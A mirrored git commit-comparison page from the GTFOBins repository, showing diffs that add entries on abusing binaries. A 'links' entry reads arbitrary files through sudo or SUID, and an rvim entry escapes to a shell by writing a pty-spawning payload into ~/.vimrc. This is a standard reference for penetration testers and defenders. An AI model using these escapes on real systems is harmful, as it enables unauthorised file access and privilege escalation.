mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-05-13 02:56:02 +02:00
Compare commits
3 Commits
83ef773712
...
e4979ae345
Author | SHA1 | Date | |
---|---|---|---|
vhash | e4979ae345 | ||
Juampa Rodríguez | 97f46f1526 | ||
Lucas VAN HAAREN | 1894142c8a |
|
@ -0,0 +1,16 @@
|
|||
---
|
||||
description: The result is displayed in a TUI interface.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
links "$LFILE"
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./links "$LFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo links "$LFILE"
|
||||
---
|
|
@ -1,6 +1,8 @@
|
|||
---
|
||||
functions:
|
||||
shell:
|
||||
- description: This requires that `rvim` version is `< 9.0.1440`.
|
||||
code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch'
|
||||
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
|
||||
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
|
||||
- description: This requires that `rvim` is compiled with Lua support.
|
||||
|
|
Loading…
Reference in New Issue